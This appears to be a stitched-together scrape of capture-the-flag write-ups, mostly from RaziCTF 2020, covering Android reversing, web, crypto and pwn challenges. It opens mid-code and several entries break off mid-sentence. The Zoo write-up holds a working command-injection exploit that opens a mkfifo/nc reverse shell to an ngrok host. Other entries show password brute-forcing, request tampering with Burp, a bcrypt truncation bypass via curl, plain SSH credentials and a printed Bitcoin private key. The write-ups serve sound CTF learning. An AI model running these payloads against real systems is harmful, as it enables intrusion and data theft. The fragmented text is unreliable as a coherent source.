r0.<init>() r13 = r3[r12] r0.append(r13) r13 = r5[r14] r0.append(r13) r13 = r7[r15] r0.append(r13) r13 = r1[r12] r0.append(r13) r13 = r2[r4] r0.append(r13) r13 = r8[r6] r0.append(r13) r13 = r9[r11] r0.append(r13) r13 = r18[r19] r0.append(r13) r13 = r17[r10] r0.append(r13) java.lang.String r0 = r0.toString() java.lang.StringBuilder r13 = new java.lang.StringBuilder r13.<init>() r13.append(r0) java.lang.String r0 = "}" r13.append(r0) java.lang.String r0 = r13.toString()```The code is too complicated to understand..I bruteforced the digits after the 1st one bcz it's obviously `_` and searched for meaningful word. Generated a simple wordlist for indices with crunch for bruteforce `crunch 6 6 012 > combi````pyarr1 = ["a", "b", "T"]arr2 = ["0", "1", "2"]arr3 = ["A", "B", "D"]arr4 = ["3", "R", "$"]arr5 = ["H", "Q", "3"]arr6 = ["I", "J", "K"] f = open("combi")lines = f.readlines()for line in lines: combination = (line.strip()) junk = [] for i in combination: junk.append(int(i)) # print(junk) flag = "" flag += str(arr1[junk[0]]) flag += str(arr2[junk[1]]) flag += str(arr3[junk[2]]) flag += str(arr4[junk[3]]) flag += str(arr5[junk[4]]) flag += '4' flag += str(arr6[junk[5]]) print(flag)```The meaningful word is `TOBR34K`So the total return is `T0_BR34K}` (without `_` it would not be flag) ## Flag> RaziCTF{P4dL0CK5_4R3_FUN_T0_BR34K}
# Solution 1. Realize the server is using `hans` software for tunneling over ICMP. One can easily found that by googling "hans icmp". 2. How to find a password: Option 1. Based on [hans source code](https://github.com/friedrich/hans/blob/master/src/auth.cpp#L30), crack the password. See the last lines of [solution.py](https://github.com/oioki/balccon2k20-ctf/blob/master/forensics/ping-pong/solution/solution.py) Option 2. Brute-force: ```for PASSWORD in $(<xato-net-10-million-passwords-100.txt); do echo "### $PASSWORD" ; sudo ../src/bin/hans -p "$PASSWORD" -c "$SERVER_IP" -f -v ; done``` 3. Connect with found password ```./hans -p "$PASSWORD" -c "$SERVER_IP" -f -v``` 4. Do the same thing as in PCAP capture (send special pattern) ```>>> s='pleasegivemeflag'>>> print(''.join([hex(ord(c)).replace('0x','') for c in s]))706c65617365676976656d65666c6167 ping 192.168.18.1 -p 706c65617365676976656d65666c6167``` 5. Observe the flag in an ICMP response payload.
This challenge could've easily been solved using [https://www.dcode.fr/rot-cipher](https://www.dcode.fr/rot-cipher) ```enc = "g!0{]n`7*+0y~+1|(!y.+0yKM9" print("".join([chr(ord(i)-26) if chr(ord(i)-26).isalnum() else chr(ord(i)+68) for i in enc]))```
No captcha required for preview. Please, do not write just a link to original writeup here.```package com.example.razictf_2; public class switcher { public String run(int i) { if (i != 0) { return null; } a1 a1Var = new a1(); //RaziCTF a2 a2Var = new a2(); System.out.println(a2Var.run(i)); //{IN_HATE_ String str = (" " + a1Var.run(i)) + a2Var.run(i); // RaziCTF{IN_HATE_ a3 a3Var = new a3(); //_RUNN String str2 = str + a3Var.run(i); //RaziCTF{IN_HATE_0F_ a4 a4Var = new a4(); String str3 = str2 + a4Var.run(i); //RaziCTF{IN_HATE_0F_RUNN!NG_L0CK5} a5 a5Var = new a5(); return str3 + a5Var.run(i); }}//RaziCTF{IN_HATE_0F_RUNN!NG_L0CK5} ```
# CTF Coin> Points: 991 ## Description> Make your CTF Coins Unlimited (more than 1000000000000000) ## SolutionApp >>>![](ctf_coin.png)We can buy one coin at a time... but we have to make it that amount... So I intercepted the network data with Wireshark and saw some requests.![](sniff.png)So I changed the value of Coins JSON and send a request with Burp Suite Repeater![](burp.png) ## Flag> RaziCTF{ZmRzdnNkRlNEcWUzQFFxZURXRUZEU1ZGU0RTNTVkc2Y1ZmV2c0RGcnEzNSRSI3J3ZnNlZnJ3IyQjJSNA}
# Meeting ![badge](https://img.shields.io/badge/Post%20CTF-Writeup-success)> Points: 1000 ## Description> Mickey Mouse goes to visit his friend and orders two pizzas in a phone call. Deliver the pizza to him. Hint: Related to Steganography ## SolutionRead first part [here](https://github.com/t3rmin0x/CTF-Writeups/tree/master/Razi%20CTF/Android/Friends)As the hint states steganography it's something related to images... So I re-installed the app and monitored traffic with wireshark. I saw the images are downloaded and not inside the apk itself.![](sniff.png)I extracted the image from wireshark. Made a wordlist of the phone numbers we got. Ran stegcracker.```bash┌──(root?ignite)-[~/CTF/Razi/Pics]└─# cat wordlist.txt 3621389302112369532255556345599102236125589341223365236996325319308963336655277632351752┌──(root?ignite)-[~/CTF/Razi/Pics]└─# stegcracker mickey_mouse.jpg wordlist.txtStegCracker 2.0.9 - (https://github.com/Paradoxis/StegCracker)Copyright (c) 2020 - Luke Paris (Paradoxis) Counting lines in wordlist..Attacking file 'mickey_mouse.jpg' with wordlist 'wordlist.txt'..Successfully cracked file with password: 22361255893Tried 4 passwordsYour file has been written to: mickey_mouse.jpg.out22361255893 ┌──(root?ignite)-[~/CTF/Razi/Pics]└─# cat mickey_mouse.jpg.out39.600098, 2.925191```Googling this location gives Franciscanas Hijas de la Misericordia## Flag> RaziCTF{FranciscanasHijasdelaMisericordia}
TLDR: Flag embedded in a qr code Image is split into two new images, using random.getrandbits() to encode the image into two shares We only get the second share, which is useless as share 1 is essentially an information theoretic one time pad on it to get back to source image. We can attack the randomness as they used the inbuilt PRG, which is crackable given 624\*32 bits. Last 48\*444 pixels in image are white, which we use to recover Mersene twister state, and break PRG, giving full random stream. Use this to reconstruct original image Full writeup available here: [https://github.com/blatchley/CTF_Writeups/tree/master/2020/N1CTF/Crypto-VSS](https://github.com/blatchley/CTF_Writeups/tree/master/2020/N1CTF/Crypto-VSS)
You notice that when executing Zoo locally, it asks you to name an animal to feed. What actually happens is that it executesthe input that it gives "./input". By analysing the binary in ghidra you also notice that the only check is for a substringequal to one of the animals to exist in your program. However you can't simply do Apes;ls, since then you'd run the program"Apes", and you have no idea what that does. Thus I tried doing "a;ls;Apes", but I noticed that for some reason the outputwasn't piping to the terminal (if ran locally all output would print when exiting the program). This does however mean thatthe server executes all commands that are run, but the output is hidden. The solution to this is spawning a reverse shell,which can be done in a lot of different ways. The way I did it was with "ngrok", since I wasn't able to port forward. First I set up a listener, for example ```nc -lvnp 1234```. Then, I ran ngrok so that I could connect remotely ```ngrok tcp 1234```,which set up a process listening on 2.tcp.ngrok.io 13638. Now all that needs to be done is connect a shell from the serverto my listener, which was done with the command ```mkfifo /tmp/ptsd; nc 2.tcp.ngrok.io 13638 0</tmp/ptsd | /bin/sh > /tmp/ptsd 2>&1; rm /tmp/ptsd```. What this does is create a named pipe file as /tmp/ptsd, then connect stdin to this file via nc to my listener, and stdout/stderr to /bin/sh which then executes those commands. https://metahackers.pro/reverse-shells-101/ Full exploit below - automated with pwntools:```py#!/usr/bin/env python3 from pwn import * HOST = "37.152.181.193"PORT = 1337 #p = process("./Zoo")p = remote(HOST, PORT) payload = b'a;mkfifo /tmp/ptsd; nc 2.tcp.ngrok.io 13638 0</tmp/ptsd | /bin/sh > /tmp/ptsd 2>&1; rm /tmp/ptsd;Apess' p.sendlineafter("us:", payload)p.interactive() ``` and output:```~ ❯ nc -lvnp 1234 took 2m 15sListening on 0.0.0.0 1234Connection received on 127.0.0.1 58984iduid=1001(Zooo) gid=1001(Zooo) groups=1001(Zooo)lsApesBatsBearsFlag.txtFoxesHogsLionsTigersZebrasbinruncat Flag.txtRaziCTF{st4y_s4f3_dur!n9_th!s_p4nd3m!c}```
# Leak audit ## Task We found an old dump of our employee database on the dark net! Please check the database and send us the requested information: - How many employee records are in the file? - Are there any employees that use the same password? (If true, send us the password for further investigation.) - In 2017, we switched to bcrypt to securely store the passwords. How many records are protected with bcrypt? Flag format: answer1_answer2_answer3 (e.g., 1000_passw0rd_987). File: BB-inDu57rY-P0W3R-L34k3r2.tar.gz Tags: sql ## Solution First we need to extract the file: ```bash$ tar xfv BB-inDu57rY-P0W3R-L34k3r2.tar.gz``` We now have a `BB-inDu57rY-P0W3R-L34k3r2.db` file: ```bash$ file BB-inDu57rY-P0W3R-L34k3r2.dbBB-inDu57rY-P0W3R-L34k3r2.db: SQLite 3.x database, last written using SQLite version 3033000``` We can use the `sqlitebrowser` or the command line utility `sqlite3` to browse the data. ```bash$ sqlite3 BB-inDu57rY-P0W3R-L34k3r2.dbsqlite> .tablespersonalsqlite> .schema personalCREATE TABLE personal ( number INTEGER PRIMARY KEY AUTOINCREMENT, surname varchar(23) NOT NULL, givenname varchar(20) NOT NULL, streetaddress varchar(100) NOT NULL, city varchar(100) NOT NULL, zipcode varchar(15) NOT NULL, password varchar(25) NOT NULL, birthday varchar(10) NOT NULL);``` First part: How many employee records are in the file? ```bashsqlite> SELECT COUNT(*) FROM personal;376``` Second part: Are there any employees that use the same password? ```bashsqlite> SELECT password FROM personal GROUP BY password HAVING COUNT(*) > 1;mah6geiVoo``` Third part: How many records are protected with bcrypt? ```bashsqlite> SELECT COUNT(*) FROM personal WHERE password LIKE '$2b$%';21``` You could also do this with unix-tools: ```bash$ sqlite3 BB-inDu57rY-P0W3R-L34k3r2.db 'SELECT password FROM personal;' > pws.txt$ wc -l pws.txt376 pws.txt$ sort pws.txt | uniq -dmah6geiVoo$ grep '^\$2b\$' pws.txt | wc -l21```
# Baby Web 1 ## Task Someone wrote the perfect authentication system but its only weakness is that the previous password must be stored in the file. Url: http://smerdis.razictf.ir/babyweb1/ Tags: Web security ## Solution On the website we are given this source code: ```php mb_strlen($prev_pass, "utf8")){ $input_h = password_hash($_GET["password"], PASSWORD_BCRYPT); if ( password_verify($prev_pass, $input_h)){ echo exec("cat flag.txt"); die(); } else { echo "Are you trying to hack me?!"; die(); } } else { echo "Nope"; die(); } } else { echo ":/"; die(); }} else { highlight_file(__FILE__); die();}?>``` We need to provide GET parameter password. It has to pass two length checks. `mb_strlen` returns the amount of multibyte characters where as `strlen` returns the amount of bytes. https://www.php.net/manual/en/function.strlen.php `Note: strlen() returns the number of bytes rather than the number of characters in a string.` If we replace three charactes with two multibyte characters our multibyte strlen is less than the original strlen (-3 + 2 = -1). Our strlen is also greater than the multibyte strlen of the original pass (-3 + 4 = +1). Let's see if that works and we get `Are you trying to hack me?!`: ```bash$ curl "http://smerdis.razictf.ir/babyweb1/?password=66842480683974257935677681585401189190148531340690145540123461534603155084209$(printf '\u1337\u1337')"RaziCTF{w3ll_d0nE_go_0n_to_THE_n3xT_OnE}``` Wait, what? How did I pass the `password_verify` check? After debugging it locally and reducing the input one char at a time `password_verify` returns 1 as long as the input length is greater or equal than 72. Turns out this is also documented on https://www.php.net/manual/en/function.password-hash.php `Caution Using the PASSWORD_BCRYPT as the algorithm, will result in the password parameter being truncated to a maximum length of 72 characters.`
ssh [email protected] password is:r34lly34syp@55 instead of using the ssh command given below I used this one: >> ssh -t [email protected] "bash --noprofile" where -t option is to force tty allocation and "bash --noprofile" to bypass ~/.profile on remote login >> catFlag@ariyan-server:~$ /bin/cat flag.txt
This is the unintend way for Zoo flag. The condition that you must solve **"is there a cat reading flag"** lololol Since you can SSH to server. Use **ls** to check **/home/Zoo** And use **echo "($
# Tough> Points: 990 ## Description> can you answer these tough questions? wrap the string RaziCTF{} format ## SolutionThe app ask questions with 3 choices, if we give correct answer then next question is shown else it starts from 1st. App>>> ![](tough.png)I set up a wireshark listener and started the app. It asks for questions, it receives the question, choices, and the number of the choice of the correct answer```GET /Qu1 HTTP/1.1User-Agent: android devAccept-Language: en-US,en;q=0.5Host: 130.185.122.69:5000Connection: Keep-AliveAccept-Encoding: gzip HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 75Server: Werkzeug/1.0.1 Python/3.8.5Date: Wed, 28 Oct 2020 08:35:45 GMT What is the name of first android virus?,Trojan-SMS,Timofonica,Wana crypt,1```If we give correct answer it sends `Correct` and we get a part of the flag.![](sniff.png)```GET /Qu1/Correct HTTP/1.1User-Agent: android devAccept-Language: en-US,en;q=0.5Host: 130.185.122.69:5000Connection: Keep-AliveAccept-Encoding: gzip HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 1Server: Werkzeug/1.0.1 Python/3.8.5Date: Wed, 28 Oct 2020 08:35:46 GMT !```Answering all the questions and monitoring the flag part gives the flag. ## Flag> RaziCTF{!_10v3_c1!3nt_b4s3d_qu!z_ch3ck!ng}
# Crypto PHP No GPU Cores Will Be Harmed in the Solving of This Challenge! Url: http://gold.razictf.ir/PleaseCreateABitcoinAddressForMe/ Tags: web security ## Solution We are greeted with `I'm not giving you any flags!`. Looking at the source: ``` I'm not giving you any flags!``` We download the `index.php.bak`: ```php 0) { return false; } return substr(strtoupper(hash("sha256",hash("sha256",pack("H*",substr($address,0,strlen($address)-8)),true))),0,8) == substr($address,strlen($address)-8);} $address = "35hK24tcLEWcgNA4JxpvbkNkoAcDGqQPsP";if (isset ($_GET["PleaseCreateABitcoinAddressForMe"])){$address = $_GET["PleaseCreateABitcoinAddressForMe"];} $check = checkAddress($address);if ($check){ if (substr( $address, 0, 5 ) === "1Razi") { echo "flag"; }}else{ echo "I'm not giving you any flags!";} echo $check; ?>``` We can provide an address through the get parameter `PleaseCreateABitcoinAddressForMe`. It's checked via `checkAdress` which has to return true in order to continue. The provided address has to start with `1Razi`. Let's analyze what `checkAdress` does. It uses `bcmath` for arbitrary precision calculations. We iterate over the chars of the address and add that to the result of `bcmul($dec, "58", 0)`. After that we have a very large number. Like the first variable name `origbase58` implies, this is base58 -> decimal. If you want to restore the next step it in python, you need the fractions module, because python converts these numbers to `bignumber`: ```python>>> n = 42468160281214442798985882180071997964045162989719209072>>> int(n / 16)2654260017575902720967102997974858231782517263919218688>>> (Fraction(n) / 16).numerator2654260017575902674936617636254499872752822686857450567>>> int(n / 16) % 160>>> (Fraction(n) / 16 % 16).numerator7``` It converts our number from decimal to a hexadecimal string. So you don't actually need it but to initally understand what it is doing it might be helpful. ```python>>> dec = n>>> hexchars = "0123456789ABCDEF">>> addr = "">>> while dec > 0:... dv, rem = divmod(dec, 16)... dec = Fraction(dv)... addr += hexchars[rem.numerator]...>>> addr[::-1]'1BB63666D1882FDD5ED9DA658AFAF56502193C397E54470'>>> hex(n)[2:].upper()'1BB63666D1882FDD5ED9DA658AFAF56502193C397E54470'``` The string is additionally padded with zeros for starting 1s in the address and if the length is odd. The length has to be 50 afterwards and the first two chars (1 byte) has to be zero. Since the required address already starts with a 1 that is converted to zeros this is no problem. Let's summarize: our adress is converted like this: base58 -> decimal -> hexadecimal string. ### The mistake The last part is hard to read, storing results in variables we can now see: ```php
Using VanitySearch.exe to create valid bitcoin address ```C:\Users\xxx\xxx\xxx\xxx>VanitySearch.exe -stop 1RaziVanitySearch v1.19Difficulty: 264104224Search: 1Razi [Compressed]Start Wed Oct 28 13:51:42 2020Base Key: CD1F6EFC8A86F2FBB7B2C597E223A24AAC785368AAC86F78AD1CA52D54BADA31Number of CPU thread: 4[7.37 Mkey/s][GPU 0.00 Mkey/s][Total 2^28.57][Prob 77.8%][80% in 00:00:03][Found 0]PubAddress: 1RaziQViMeWvCMGgaTzB6pyTSZMY48zFWPriv (WIF): p2pkh:L25LFTUY6HT4DvDxuXpMV3xbdwZ7fekBuA9aZh5gYFeEJFNynQy8[7.11 Mkey/s][GPU 0.00 Mkey/s][Total 2^28.61][Prob 78.9%][80% in 00:00:02][Found 0] Priv (HEX): 0x90E07E718BF5750F05CF204CA540CC4BE6947FC59C8607B174B8C9BA55D5FE90```
The challenge name itself is a hint. Cross means X. So it's XOR. By xoring the first few bytes with the flag format you can guess the key: `VERYSECUREKEY` and decrypt the rest: ```RaziCTF{d0nt_r3pe4T_kEy_1N_X0R} You cannot be buried in obscurity , you are exposed upon a grand theater to the view of the world . If your actions are upright and benevolent , be assured they will augment your power and happiness.```
# Chasing A Lock (Andrdid, 858 points) > as locks are so popular many will chase them but why? maybe a flag :) FLAG = RaziCTF{IN_HATE_0F_RUNN!NG_L0CK5} This challenge is an android reversing challenge. It was one of the many android challenges during the Razi 2020 CTF. The first step I took to reversing this android application was unzipping the apk file. ```bashunzip app-release.apk -d apprelease```After it finished extracting all the files I used dex2jar to turn the .dex file into a .jar file. I then used jd-gui to open the jar file and just clicked file save sources. The First thing that happens is MainActivity makes a call to a class named `switcher`. Switcher calls 5 functions from five different classes and assembles the flag. ```javapublic class switcher { public String run(int paramInt) { if (paramInt == 0) { a1 a1 = new a1(); StringBuilder stringBuilder2 = new StringBuilder(); stringBuilder2.append(" "); stringBuilder2.append(a1.run(paramInt)); String str3 = stringBuilder2.toString(); a2 a2 = new a2(); System.out.println(a2.run(paramInt)); StringBuilder stringBuilder1 = new StringBuilder(); stringBuilder1.append(str3); stringBuilder1.append(a2.run(paramInt)); String str1 = stringBuilder1.toString(); a3 a3 = new a3(); stringBuilder1 = new StringBuilder(); stringBuilder1.append(str1); stringBuilder1.append(a3.run(paramInt)); String str2 = stringBuilder1.toString(); a4 a4 = new a4(); stringBuilder1 = new StringBuilder(); stringBuilder1.append(str2); stringBuilder1.append(a4.run(paramInt)); str2 = stringBuilder1.toString(); a5 a5 = new a5(); stringBuilder1 = new StringBuilder(); stringBuilder1.append(str2); stringBuilder1.append(a5.run(paramInt)); return stringBuilder1.toString(); } return null; }}``` ## Class a1```Javapublic class a1 { public String run(int paramInt) { String str = "Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVm14YU0xWnNXbUZqVmtaMFVteFNUbUpGY0VwV2JURXdZVEZrU0ZOclpHcFRSVXBZV1ZSR2QyRkdjRmRYYlVaclVsUkdWbFpYZUZOVWJVWTJVbFJHVjJFeVVYZFpla3BIWXpGT2RWVnRhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbFZhY2xWcVFURlNNV1J5VjJ4T1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZkaGExcFlXa1ZhVDJNeFpITmhSMnhUVFcxb1dsWXhaRFJpTWtsNVZtNU9WbUpHV2xSWmJGWmhZMVphZEdSSFJrNVNiRm93V2xWYVQxWlhTbFpqUldSYVRVWmFNMVpxU2t0V1ZrcFpXa1p3VjFKV2NIbFdWRUpoVkRKT2MyTkZhR3BTYXpWWVZXcE9iMkl4V1hoYVJGSldUVlZzTlZaWE5VOVhSMHBJVld4c1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1V01VbzFWbXBKTVdFeFdYZE5WVlpUWVRGd1YxbHJXa3RUUmxweFVtMUdVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxOSFVuTlZha0p6VGtaVmVXUkhkRmhTTUhCSlZsZDRjMWR0U2tkWGJXaGFUVzVvV0ZsNlJsZGpiSEJIV2tkc1UySnJTbUZXTW5oWFdWWlJlRmRzYUZSaVJuQlpWbXRXZDFZeGJISlhhM1JVVW14d2VGVnRNVWRWTWtwV1lrUmFXR0V4Y0hKWlZXUkdaVWRPU0U5V1pHaGhNSEJ2Vm10U1MxUXlVa2RUYmtwaFVtMW9jRlpxU205bGJHUllaVWM1YVUxcmJEUldNV2h2V1ZaS1IxTnVRbFZXTTFKNlZHdGFZVk5IVWtoa1JtUnBWbGhDU1ZacVNqUlZNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZZd01WWmlla1pYWWxoQ1RGUnJXbEpsUm1SellVWlNhVkp1UW5oV1YzaHJWVEZzVjFWc1dsaGlWVnBQVkZaYWQyVkdWWGxrUkVKWFRWWndlVmt3V25kWFIwVjRZMFJPV21FeVVrZGFWM2hIWTIxS1IxcEhiRmhTVlhCS1ZtMTBVMU14VlhoWFdHaFlZbXhhVmxsclpHOWpSbHB4VTIwNWJHSkhVbGxhVldNMVlWVXhjbUpFVWxkTmFsWlVWa2Q0YTFOR1ZuTlhiRlpYVFRGS05sWkhlR0ZXTWxKSVZXdG9hMUl5YUhCVmJHaENaREZhYzFwRVVtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlXa1prVjJFelFqWldhMlI2VFZaa1IxTnNXbXBTVjNoWVdXeG9RMVJHVW5KWGJFcHNVbTFTZWxsVldsTmhSVEZ6VTI1b1YxWjZSVEJhUkVaclVqSktTVlJ0YUZOaGVsWlFWa1phWVdReVZrZFdXR3hyVWtWS1dGUldXbmRsVm10M1YyNWtXRkl3VmpSWk1GSlBWMjFGZVZWclpHRldNMmhJV1RJeFMxSXhjRWhpUm1oVFZsaENTMVp0TVRCVk1VMTRWbGhvV0ZkSGFGbFpiWGhoVm14c2NscEhPV3BTYkhCNFZUSXdOV0pIU2toVmJHeGhWbGROTVZsV1ZYaGpiVXBGVld4a1RtRnNXbFZXYTJRMFlURk9SMVp1VGxoaVJscFlXV3RvUTFkV1draGxSMFpYVFd4S1NWWlhkRzloTVVwMFZXczVWMkZyV2t4Vk1uaHJWakZhZEZKdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp1Y0Zka2JGbDNWMjVLYkZKdFVubFhhMXByVmpKRmVsRnFXbGRoTWxJMlZGWmFXbVF3TVZkWGJXeHNZVEZ3V1ZkWGVHOVJNVkpIVlc1S1dHSkZjSE5WYlRGVFpXeHNWbGRzVG1oV2EzQXhWVmMxYjFZeFdYcGhTRXBYVmtWYWVsWnFSbGRqTVdSellVZHNWMVp1UWpaV01XUXdXVmRSZVZaclpGZFhSM2h5Vld0V1MxZEdVbGRYYm1Sc1ZteHNOVnBWYUd0WFIwcEhZMFpvV2sxSFVuWldNbmhoVjBaV2NscEhSbGRXTVVwUlZsZHdTMUl4U1hsU2EyaHBVbXMxY0ZsVVFuZE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZtMUZlVlZzV2xwaVdGSXpXVlZhVjJSSFZrWmtSM0JUWWtoQ05GWnJZM2RPVm1SSFYyNU9hbEp0ZUdGVVZWcFdUVlpzVjFaWWFHcGlWWEJHVmxkNGExUnRSbk5YYkZaWVZtMVJNRlY2Um1GamF6VlhZa1pLYVZKc2NGbFhWM1JoWkRGa1YxZHJhR3RTTUZwdlZGZHpNV1ZzV1hsT1ZrNW9UVlZzTlZsVmFFTldiVXBJWVVWT1lWSkZXbWhaZWtaM1VsWldkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMFpVaGtUazFXY0hsV01qRkhZV3hhY21ORVFtRlNWMUYzVm1wS1MyTnNUbkpoUm1SVFRUSm9iMVpyVWt0U01WbDRWRzVXVm1KRlNsaFZiRkpYVjFaYVIxbDZSbWxOVjFKSVdXdGFWMVZzWkVoaFJsSlZWbTFTVkZwWGVITldiR1J6Vkcxb1UxWkZXalpXVkVreFlqRlplRmRZY0ZaaVIyaFpWbTE0ZDFsV2NGWlhiWFJyVm10d2VsWnRNWE5XTVVsNllVUldWMDFYVVhkWFZtUlNaVlphY2xwR1pHbGlSWEI1VmxkMFYxTXlTWGhpUm14cVVsZFNjMVp0ZUV0bGJGcDBUVVJXV0ZJd2NFaFpNRnB2VjJzeFNHRkZlRmROYm1ob1ZqQmFWMk5zY0VoU2JHUk9UVzFvU2xZeFVrcGxSazE0VTFob2FsSlhVbWhWYlhNeFYwWlpkMVpyZEU1aVJuQXdXVEJXYTFkc1dYZFdhbEpYWWtkb2RsWXdXbXRUUjBaSFYyeHdhVmRIYUc5V2JURTBZekpPYzFwSVNtdFNNMEpVV1d0YWQwNUdXbGhOVkVKT1VteHNORll5TlU5aGJFcFlZVVpvVjJGck5WUldSVnB6VmxaR1dXRkdUbGRoTTBJMlZtdGtORmxXVlhsVGExcFlWMGhDV0Zac1duZFNNVkY0VjJ0T1ZtSkZTbFpVVlZGM1VGRTlQUT09"; for (paramInt = 0; paramInt < 20; paramInt++) str = new String(Base64.getDecoder().decode(str.getBytes())); return str; }}``` class a1 base64 decodes the string 19 times to returns the first part of the flag `RaziCTF`. ## Class a2```javapublic class a2 { public String run(int paramInt) { return xorHex("787d6c7f2c352b2c", "313333376d616e73313333376861"); } public String xorHex(String paramString1, String paramString2) { char[] arrayOfChar = new char[paramString1.length()]; int i = 0; int j; for (j = 0; j < arrayOfChar.length; j++) arrayOfChar[j] = toHex(fromHex(paramString1.charAt(j)) ^ fromHex(paramString2.charAt(j))); StringBuilder stringBuilder1 = new StringBuilder(); for (j = i; j < (new String(arrayOfChar)).length(); j = i) { paramString2 = new String(arrayOfChar); i = j + 2; stringBuilder1.append((char)Integer.parseInt(paramString2.substring(j, i), 16)); } StringBuilder stringBuilder2 = new StringBuilder(); stringBuilder2.append("{"); stringBuilder2.append(stringBuilder1.toString().trim()); return stringBuilder2.toString(); }}```Class a2 will xor `"787d6c7f2c352b2c",` with `"313333376d616e73313333376861"` then decodes it to get the second part of the flag `{IN_HATE_` ## Class a3```javapublic class a3 { public String run(int paramInt) { paramInt = paramInt % 100000 / 2; StringBuilder stringBuilder = new StringBuilder(); stringBuilder.append(paramInt - paramInt); stringBuilder.append("F"); return stringBuilder.toString(); }}``` class a3 will modulo `paramInt` by `100000` then divide by `2`. It will then subtract its self and append to a string. Then finally append `F` to the string and return the third part of the flag `0F`. ## Class a4```javapublic class a4 { public String run(int paramInt) { return "_RUNN"; }}``` class a4 just returns `_RUNN` ## Class a5```javapublic class a5 { public String run(int i) { String[] a = new String[3]; a[0] = "!"; a[1] = "%"; a[2] = "="; String[] a0 = new String[3]; a0[0] = "a"; a0[1] = "b"; a0[2] = "N"; String[] a1 = new String[3]; a1[0] = "1"; a1[1] = "G"; a1[2] = "2"; String[] a2 = new String[3]; a2[0] = "_"; a2[1] = "%"; a2[2] = "="; String[] a3 = new String[3]; a3[0] = "C"; a3[1] = "q"; a3[2] = "3"; String[] a4 = new String[3]; a4[0] = "4"; a4[1] = "K"; a4[2] = "("; String[] a5 = new String[3]; a5[0] = "5"; a5[1] = "J"; a5[2] = "K"; System.out.println("a"); int i0 = 0; while(i0 < 3) { int i1 = 0; while(i1 < 3) { int i2 = 0; while(i2 < 3) { int i3 = 0; while(i3 < 3) { int i4 = 0; while(i4 < 3) { int i5 = 0; while(i5 < 3) { int i6 = 0; while(i6 < 3) { int i7 = 0; while(i7 < 3) { int i8 = 0; while(i8 < 3) { StringBuilder a6 = new StringBuilder(); a6.append(a[i0]); a6.append(a0[i1]); a6.append(a1[i2]); a6.append(a2[i3]); String[] a7 = new String[3]; a7[0] = "A"; a7[1] = "L"; a7[2] = "D"; a6.append(a7[i4]); String[] a8 = new String[3]; a8[0] = "R"; a8[1] = "0"; a8[2] = "$"; a6.append(a8[i5]); a6.append(a3[i6]); a6.append(a4[i7]); a6.append(a5[i8]); String s = a6.toString(); StringBuilder a9 = new StringBuilder(); a9.append(s); a9.append("}"); String s0 = a9.toString(); System.out.println(s0); label5: { boolean b = false; label1: { Exception a10 = null; label0: { java.security.MessageDigest a11 = null; byte[] a12 = null; StringBuilder a13 = null; int i9 = 0; int i10 = 0; label4: { try { a11 = java.security.MessageDigest.getInstance("MD5"); break label4; } catch(Exception a14) { a10 = a14; } break label0; } label3: { try { a11.update(s0.getBytes()); a12 = a11.digest(); a13 = new StringBuilder(); break label3; } catch(Exception a15) { a10 = a15; } break label0; } label2: { NullPointerException a16 = null; try { i9 = a12.length; i10 = 0; break label2; } catch(NullPointerException a17) { a16 = a17; } a10 = a16; break label0; } try { while(i10 < i9) { String s1 = null; try { int i11 = a12[i10]; s1 = Integer.toHexString(i11 & 255); } catch(Exception a18) { a10 = a18; break label0; } while(true) { int i12 = 0; try { i12 = s1.length(); } catch(Exception a19) { a10 = a19; break label0; } if (i12 >= 2) { a13.append(s1); i10 = i10 + 1; break; } else { StringBuilder a20 = null; try { a20 = new StringBuilder(); } catch(Exception a21) { a10 = a21; break label0; } a20.append("0"); a20.append(s1); s1 = a20.toString(); } } } b = a13.toString().equals((Object)"b469f80f05290ed415770ea56e69a476"); break label1; } catch(Exception a22) { a10 = a22; } } a10.printStackTrace(); break label5; } if (b) { return s0; } } i8 = i8 + 1; } i7 = i7 + 1; } i6 = i6 + 1; } i5 = i5 + 1; } i4 = i4 + 1; } i3 = i3 + 1; } i2 = i2 + 1; } i1 = i1 + 1; } i0 = i0 + 1; } return "y"; } }``` (JD-GUI couldn't actually decompile class a5 so I used bytecode-viewer and used the `Krakatau` Decompiler to decompile it.) class a5 is the most complicated class. I don't really understand it fully so I just made another java File and called it. the class prints out the final part of the flag `!NG_L0CK5}` ## Putting it all together ```javapublic class Main { public static void main(String[] args) { String str = (new switcher()).run(0); System.out.println(str); }}``` So instead of actually writing a python script I decided to just make another Java file called `Main` and just called `switcher` like Main Activity did. It printed out the full flag. `RaziCTF{IN_HATE_0F_RUNN!NG_L0CK5}` ## Ending Overall it was a pretty easy challenge. Thank you Razi for the challenge and I hope to play the next CTF by you.
